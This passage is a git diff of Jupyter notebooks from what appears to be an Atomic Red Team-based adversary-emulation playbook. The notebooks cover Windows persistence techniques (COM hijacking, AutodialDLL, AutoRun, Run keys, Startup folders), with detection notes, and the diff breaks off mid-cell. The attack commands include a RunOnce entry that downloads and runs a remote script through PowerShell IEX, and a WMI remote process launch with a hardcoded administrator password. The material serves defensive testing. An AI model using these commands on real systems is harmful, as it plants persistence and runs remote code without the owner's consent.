TreatAs", @@ -151,28 +151,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b152602b", + "id": "46937bbb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "d0de4c96", + "id": "4dd5c02d", "metadata": {}, "source": "#### Cleanup: \n```powershell\nreg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /f\nreg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\" /f```" }, { "cell_type": "code", "execution_count": null, - "id": "098feb38", + "id": "6460c9c2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "d6b19306", + "id": "9c2a2c2e", "metadata": {}, "source": "## Detection\nThere are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. " } @@ -180,13 +180,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.016.ipynb b/playbook/tactics/privilege-escalation/T1546.016.ipynb index 37822a0e..d72005b1 100644 --- a/playbook/tactics/privilege-escalation/T1546.016.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.016.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "3fa047c0", + "id": "c4887611", "metadata": {}, "source": "# T1546.016 - Installer Packages\nAdversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. Adversaries have leveraged `Prebuild` and `Postbuild` events to run commands before or after a build when installing .msi files.(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)" }, { "cell_type": "markdown", - "id": "9f645688", + "id": "51a7a8a4", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.ipynb b/playbook/tactics/privilege-escalation/T1546.ipynb index 9afe84b6..1a6037cb 100644 --- a/playbook/tactics/privilege-escalation/T1546.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "5e16daca", + "id": "9550342d", "metadata": {}, "source": "# T1546 - Event Triggered Execution\nAdversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. " }, { "cell_type": "markdown", - "id": "846031f0", + "id": "d5085dd1", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "4e96d12a", + "id": "91c170e1", "metadata": {}, "source": "### Atomic Test #1 - Persistence with Custom AutodialDLL\nThe DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. \n\nThe sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing.\n[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll) { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1546\\bin\\\" -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll\" -OutFile \"PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "96075dc8", + "id": "f77ed86a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f317df78", + "id": "8cd5792b", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "227ca8e2", + "id": "7431300a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "5b2be72d", + "id": "91c09e7b", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters -Name AutodialDLL -Value $env:windir\\system32\\rasadhlp.dll```" }, { "cell_type": "code", "execution_count": null, - "id": "1b386752", + "id": "c68baff1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "2bfabb99", + "id": "366cc2c1", "metadata": {}, "source": [ "### Atomic Test #2 - HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)", @@ -73,28 +73,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6df5f393", + "id": "5c6d7657", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "c25ad822", + "id": "12552578", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Command Processor\" -Name \"AutoRun\" -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "85a2cce6", + "id": "9b1e48e3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "ec057bde", + "id": "c95533c5", "metadata": {}, "source": [ "### Atomic Test #3 - HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)", @@ -107,34 +107,55 @@ { "cell_type": "code", "execution_count": null, - "id": "2843dd0f", + "id": "85417bbc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "917dcf6b", + "id": "6cfbf89a", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Command Processor\" -Name \"AutoRun\" -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "32227d6e", + "id": "19787576", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "9a0c7a1a", + "id": "acce93a9", + "metadata": {}, + "source": [ + "### Atomic Test #4 - WMI Invoke-CimMethod Start Process", + "The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod.\nThis is a novel way to perform lateral movement or to start a remote process.\nThis does require WinRM to be enabled. The account performing the run will also need to be elevated.\nA successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n# Set the remote computer name and credentials\n $RemoteComputer = \"localhost\"\n $PWord = ConvertTo-SecureString -String \"P@ssword1\" -AsPlainText -Force\n $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"Administrator\", $Pword\n\n # Create a CIM session\n $CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential\n\n # Define the process you want to start\n $ProcessToStart = \"calc.exe\"\n\n # Invoke the Create method on the Win32_Process class to start the process\n $Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}\n\n # Check the result\n if ($Result.ReturnValue -eq 0) {\n Write-Host \"Process started successfully with Process ID: $($Result.ProcessId)\"\n } else {\n Write-Host \"Failed to start the process. Error code: $($Result.ReturnValue)\"\n }\n\n # Clean up the CIM session\n Remove-CimSession -CimSession $CimSession \n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ae1e50a2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "b596e814", "metadata": {}, "source": "## Detection\nMonitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. " }, { "cell_type": "markdown", - "id": "ec737cf1", + "id": "d820a245", "metadata": {}, "source": "\n## Shield Active Defense\n### Baseline \n Identify key system elements to establish a baseline and be prepared to reset a system to that baseline when necessary. \n\n Identify elements of software and configuration critical to a set of objectives, define their proper values, and be prepared to reset a running system to its intended state. \n#### Opportunity\nThere is an opportunity to use tools and controls to stop an adversary's activity.\n#### Use Case\nA defender can revert a system to a verified baseline a frequent, recurring basis in order to remove adversary persistence mechanisms.\n#### Procedures\nMaintain a verified baseline firewall configuration and use that copy as a fallback if an adversary alters that information.\nMaintain a verified list of group policies enforced on a system and use that copy if an adversary attempts to deviate from the baseline.\n" } @@ -142,13 +163,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.001.ipynb b/playbook/tactics/privilege-escalation/T1547.001.ipynb index d8b99ea8..daeb9d14 100644 --- a/playbook/tactics/privilege-escalation/T1547.001.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "8f3ee7ba", + "id": "e4f69e5e", "metadata": {}, - "source": "# T1547.001 - Registry Run Keys / Startup Folder\nAdversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs." + "source": "# T1547.001 - Registry Run Keys / Startup Folder\nAdversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run automatically for the currently logged-on user.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs." }, { "cell_type": "markdown", - "id": "f9e65ace", + "id": "656424a5", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f6a35a9f", + "id": "a991d737", "metadata": {}, "source": [ "### Atomic Test #1 - Reg Key Run", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3d9f319d", + "id": "84f3714b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "acb7b062", + "id": "aba95b14", "metadata": {}, "source": "#### Cleanup: \n```cmd\nREG DELETE \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Atomic Red Team\" /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ff20e12c", + "id": "97a5c03f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "61cad5c4", + "id": "b5b754a6", "metadata": {}, "source": [ "### Atomic Test #2 - Reg Key RunOnce", @@ -62,28 +62,28 @@ { "cell_type": "code", "execution_count": null, - "id": "94d2ab88", + "id": "06f7b374", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "ef01e51f", + "id": "9eb4c7e6", "metadata": {}, "source": "#### Cleanup: \n```cmd\nREG DELETE HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a6d78642", + "id": "f328913a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "f77c6e6e", + "id": "09ef8eb7", "metadata": {}, "source": [ "### Atomic Test #3 - PowerShell Registry RunOnce", @@ -91,34 +91,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$RunOnceKey = \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nset-itemproperty $RunOnceKey \"NextRun\" 'powershell.exe \"IEX (New-Object Net.WebClient).DownloadString(`\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/36f83b728bc26a49eacb0535edc42be8c377ac54/ARTifacts/Misc/Discovery.bat`\")\"'\n```" + "```powershell\n$RunOnceKey = \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nset-itemproperty $RunOnceKey \"NextRun\" 'powershell.exe \"IEX (New-Object Net.WebClient).DownloadString(`\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`\")\"'\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "224f3389", + "id": "7568849b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "79f86078", + "id": "0ae0c8d0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce -Name \"NextRun\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d751ca0c", + "id": "719e1a8c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "f1e9dd06", + "id": "3fd01c64", "metadata": {}, "source": [ "### Atomic Test #4 - Suspicious vbs file run from startup Folder", @@ -126,34 +126,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\ncscript.exe \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\ncscript.exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\n```" + "```powershell\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs\" \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\ncscript.exe \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\ncscript.exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "81cca203", + "id": "223286db", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "38e58971", + "id": "634a348b", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3399b969", + "id": "e9c05223", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "eb8fcc0c", + "id": "beda187b", "metadata": {}, "source": [ "### Atomic Test #5 - Suspicious jse file run from startup Folder", @@ -161,69 +161,69 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\ncscript.exe /E:Jscript \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\ncscript.exe /E:Jscript \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\n```" + "```powershell\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse\" \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\ncscript.exe /E:Jscript \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\ncscript.exe /E:Jscript \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "86fb33d3", + "id": "16eec926", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "b0d88bc4", + "id": "38f9a0dd", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d69b5d28", + "id": "669e2b93", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "9023e630", + "id": "1b9a80e3", "metadata": {}, "source": [ "### Atomic Test #6 - Suspicious bat file run from startup Folder", - "bat files can be placed in and executed from the startup folder to maintain persistance.\nUpon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n", + "bat files can be placed 